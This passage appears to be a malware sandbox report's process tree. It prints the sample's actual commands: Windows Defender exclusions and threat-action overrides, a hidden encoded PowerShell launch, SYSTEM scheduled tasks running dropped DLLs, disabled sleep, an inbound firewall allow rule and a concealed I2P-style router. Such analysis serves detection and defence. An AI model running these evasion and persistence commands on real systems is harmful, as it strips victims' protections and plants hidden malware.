\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MlEwZvbgpCGVQFZq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MlEwZvbgpCGVQFZq\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WMmUhsrLoeNTYuVB /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WMmUhsrLoeNTYuVB /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp /t REG_DWORD /d 0 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MlEwZvbgpCGVQFZq /t REG_DWORD /d 0 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MlEwZvbgpCGVQFZq /t REG_DWORD /d 0 /reg:643⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "geGThndBl" /SC once /ST 00:54:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "geGThndBl"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "geGThndBl"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "IzaEPSfYdSgyWPrQW" /SC once /ST 00:20:53 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\SXnJBpV.exe\" rc /KBbhdidPu 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "IzaEPSfYdSgyWPrQW"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6288 -s 5602⤵
- Program crash
-
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exeC:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"1⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: LoadsDriver
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe/showtrayicon2⤵
- Sets service image path in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install3⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=13⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\regsvr32.exeC:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"3⤵
-
-
C:\Program Files (x86)\360\Total Security\PatchUp.exe"C:\Program Files (x86)\360\Total Security\PatchUp.exe" /down_and_install=03⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\bdfltlib.dll"2⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\scan.dll"2⤵
-
-
C:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\SXnJBpV.exeC:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\SXnJBpV.exe rc /KBbhdidPu 385118 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bjPRdWxZxSSObMFEvg"2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\voItHROCU\aSXymn.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HsFIJVFBpaOiSlL" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "HsFIJVFBpaOiSlL2" /F /xml "C:\Program Files (x86)\voItHROCU\paqqbuf.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "HsFIJVFBpaOiSlL"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "HsFIJVFBpaOiSlL"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "WyOrfcWfrBamuS" /F /xml "C:\Program Files (x86)\efSuucJNImPU2\CJAgabh.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "kiXxoUJRQWRVF2" /F /xml "C:\ProgramData\WMmUhsrLoeNTYuVB\cvOSsfe.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BLlTsguLxEDntNTLH2" /F /xml "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR\RdlVjXS.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BtVMzXpXWmtubExaWQo2" /F /xml "C:\Program Files (x86)\gWMsjtYByovYC\BoyLnwV.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ceuxZEzDPWMxlYwWu" /SC once /ST 00:17:14 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MlEwZvbgpCGVQFZq\BIbiarHi\lWzUCkc.dll\",#1 /dKdidria 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ceuxZEzDPWMxlYwWu"2⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "IzaEPSfYdSgyWPrQW"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6172 -s 19962⤵
- Program crash
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\MlEwZvbgpCGVQFZq\BIbiarHi\lWzUCkc.dll",#1 /dKdidria 3851181⤵
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\MlEwZvbgpCGVQFZq\BIbiarHi\lWzUCkc.dll",#1 /dKdidria 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ceuxZEzDPWMxlYwWu"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exeC:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\winsvc.exeC:\Windows\system32\winsvc.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\system32\""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\Temp\""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-SETACTIVE" "8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -SETACTIVE 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-ac" "0"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 03⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-dc" "0"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 03⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-ac" "0"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-ac 03⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-dc" "0"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-dc 03⤵
-
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "winnet.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "winnet.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "wincfg.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "wincfg.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Remove-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "New-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\"" "-Program" "\"C:\Windows\system32\winnet.exe\"" "-Action" "Allow" "-Direction" "Inbound" "-EdgeTraversalPolicy" "Allow" "-Enabled" "True"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINNET.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINNET.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINCFG.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINCFG.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINNET.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINCFG.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINCFG.exe"2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "WINNET.exe"2⤵
- Kills process with taskkill
-
-
C:\WINDOWS\SYSTEM32\WINCFG.EXE"C:\WINDOWS\SYSTEM32\WINCFG.EXE"2⤵
-
-
C:\WINDOWS\SYSTEM32\WINNET.EXE"C:\WINDOWS\SYSTEM32\WINNET.EXE" "--datadir=C:\Windows\system32\data" "--precomputation.elgamal=false" "--persist.profiles=false" "--persist.addressbook=false" "--cpuext.aesni" "--cpuext.avx" "--ipv4" "--ipv6" "--bandwidth=X" "--share=100" "--floodfill" "--nat" "--upnp.enabled=true" "--upnp.name=Microsoft" "--insomnia" "--nettime.enabled=true" "--nettime.ntpsyncinterval=1" "--sam.enabled=true" "--sam.singlethread=false" "--http.enabled=false" "--bob.enabled=false" "--httpproxy.enabled=false" "--socksproxy.enabled=false" "--i2cp.enabled=false" "--i2pcontrol.enabled=false" "--loglevel=none" "--log=stdout"2⤵
- Drops file in System32 directory
-
-
C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exeC:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
